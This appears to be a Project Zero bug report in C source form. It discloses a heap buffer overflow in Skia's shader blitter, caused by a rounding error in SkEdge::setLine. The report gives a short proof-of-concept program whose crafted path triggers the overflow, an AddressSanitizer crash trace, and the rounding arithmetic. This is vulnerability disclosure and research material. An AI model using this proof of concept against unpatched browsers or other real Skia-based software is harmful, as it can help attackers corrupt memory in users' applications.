1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1155 Skia bug: https://bugs.chromium.org/p/skia/issues/detail?id=6294 There is a heap overflow in SkARGB32_Shader_Blitter::blitH caused by a rounding error in SkEdge::setLine. To trigger the bug Skia needs to be compiled with SK_RASTERIZE_EVEN_ROUNDING (true in, for example, Mozilla Firefox). To demonstrate the bug, compile (with SK_RASTERIZE_EVEN_ROUNDING defined) and run the following Proof of Concept: ================================================================= */ #include "SkCanvas.h" #include "SkPath.h" #include "SkGradientShader.h" int main (int argc, char * const argv[]) { SkBitmap bitmap; bitmap.allocN32Pixels(1128, 500); //Create Canvas SkCanvas canvas(bitmap); SkColor colors[2] = {SkColorSetARGB(10,0,0,0), SkColorSetARGB(10,255,255,255)}; SkPoint points[2] = { SkPoint::Make(0.0f, 0.0f), SkPoint::Make(256.0f, 256.0f) }; SkPath path; path.moveTo(1128, 0.5); path.lineTo(-0.499, 100.5); path.lineTo(1128, 200); path.close(); SkPaint p; p.setAntiAlias(false); p.setShader(SkGradientShader::MakeLinear( points, colors, nullptr, 2, SkShader::kClamp_TileMode, 0, nullptr)); canvas.drawPath(path, p); return 0; } /* ================================================================= The PoC leads to a heap overflow in SkARGB32_Shader_Blitter::blitH (the shader and anti aliasing settings in the PoC are made specifically to select this Blitter) ASan log: ================================================================= ==46341==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62100001dea0 at pc 0x00000079d6d1 bp 0x7ffecd6a42c0 sp 0x7ffecd6a42b8 WRITE of size 4 at 0x62100001dea0 thread T0 #0 0x79d6d0 in sk_memset32(unsigned int*, unsigned int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 #1 0x8025f1 in SkLinearGradient::LinearGradientContext::shade4_clamp(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:842:13 #2 0x802219 in SkLinearGradient::LinearGradientContext::shadeSpan(int, int, unsigned int*, int) /home/ifratric/skia/skia/out/asan/../../src/effects/gradients/SkLinearGradient.cpp:349:9 #3 0xc946f7 in SkARGB32_Shader_Blitter::blitH(int, int, int) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter_ARGB32.cpp:384:9 #4 0x779484 in walk_convex_edges(SkEdge*, SkPath::FillType, SkBlitter*, int, int, void (*)(SkBlitter*, int, bool)) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:295:21 #5 0x778107 in sk_fill_path(SkPath const&, SkIRect const&, SkBlitter*, int, int, int, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:508:9 #6 0x77afe3 in SkScan::FillPath(SkPath const&, SkRegion const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_Path.cpp:707:9 #7 0x765792 in SkScan::FillPath(SkPath const&, SkRasterClip const&, SkBlitter*) /home/ifratric/skia/skia/out/asan/../../src/core/SkScan_AntiPath.cpp:745:9 #8 0x632690 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1072:5 #9 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5 #10 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9 #11 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243 #12 0x51f6b8 in SkCanvas::onDrawPath(SkPath const&, SkPaint const&) /home/ifratric/skia/skia/out/asan/../../src/core/SkCanvas.cpp:2379:9 #13 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5 #14 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 #15 0x426788 in _start (/home/ifratric/skia/skia/out/asan/crash+0x426788) 0x62100001dea0 is located 0 bytes to the right of 4512-byte region [0x62100001cd00,0x62100001dea0) allocated by thread T0 here: #0 0x4c6728 in __interceptor_malloc (/home/ifratric/skia/skia/out/asan/crash+0x4c6728) #1 0x7e3d38 in sk_malloc_flags(unsigned long, unsigned int) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:72:15 #2 0x7e3d38 in sk_malloc_throw(unsigned long) /home/ifratric/skia/skia/out/asan/../../src/ports/SkMemory_malloc.cpp:58 #3 0xc8598d in SkARGB32_Shader_Blitter* SkArenaAlloc::make<SkARGB32_Shader_Blitter, SkPixmap const&, SkPaint const&, SkShader::Context*&>(SkPixmap const&, SkPaint const&, SkShader::Context*&) /home/ifratric/skia/skia/out/asan/../../src/core/SkArenaAlloc.h:94:30 #4 0xc8598d in SkBlitter::Choose(SkPixmap const&, SkMatrix const&, SkPaint const&, SkArenaAlloc*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBlitter.cpp:919 #5 0x632542 in SkAutoBlitterChoose::choose(SkPixmap const&, SkMatrix const&, SkPaint const&, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:69:20 #6 0x632542 in SkDraw::drawDevPath(SkPath const&, SkPaint const&, bool, SkBlitter*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1018 #7 0x63321c in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool, bool, SkBlitter*) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.cpp:1165:5 #8 0xc5c5b3 in SkDraw::drawPath(SkPath const&, SkPaint const&, SkMatrix const*, bool) const /home/ifratric/skia/skia/out/asan/../../src/core/SkDraw.h:54:9 #9 0xc5c5b3 in SkBitmapDevice::drawPath(SkDraw const&, SkPath const&, SkPaint const&, SkMatrix const*, bool) /home/ifratric/skia/skia/out/asan/../../src/core/SkBitmapDevice.cpp:243 #10 0x4f805d in main /home/ifratric/skia/skia/out/asan/../../crash.cpp:34:5 #11 0x7f64ed80f82f in __libc_start_main /build/glibc-GKVZIf/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow /home/ifratric/skia/skia/out/asan/../../src/core/SkUtils.cpp:18:19 in sk_memset32(unsigned int*, unsigned int, int) Shadow bytes around the buggy address: 0x0c427fffbb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbb90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbba0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbbb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c427fffbbc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c427fffbbd0: 00 00 00 00[fa]fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbbe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbbf0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c427fffbc20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone:fb Freed heap region: fd Stack left redzone:f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return:f5 Stack use after scope: f8 Global redzone:f9 Global init order: f6 Poisoned by user:f7 Container overflow:fc Array cookie:ac Intra object redzone:bb ASan internal: fe Left alloca redzone: ca Right alloca redzone:cb ==46341==ABORTING Further analysis: There is a problem in SkEdge::setLine, in particular the line with x0:-0.499900, y0:100.500000, x1:1128.000000, y1:0.500000 After conversion to SkFDot6, the coordinates are going to become x0:72192, y0:32, x1:-32, y1:6432 (notice how x0 got rounded to 32 == -0.5 but I don't think this is the only problem as it gets even smaller below) Next the line parameters are computed as follows: fFirstY:1, fLastY:100, fX:73184256, fDX:-739573 And if you calculate fX + (fLastY-fFirstY) * fDX, you get -33471 (~ -0.51) which will get rounded to -1 in walk_convex_edges and cause an overflow. */ |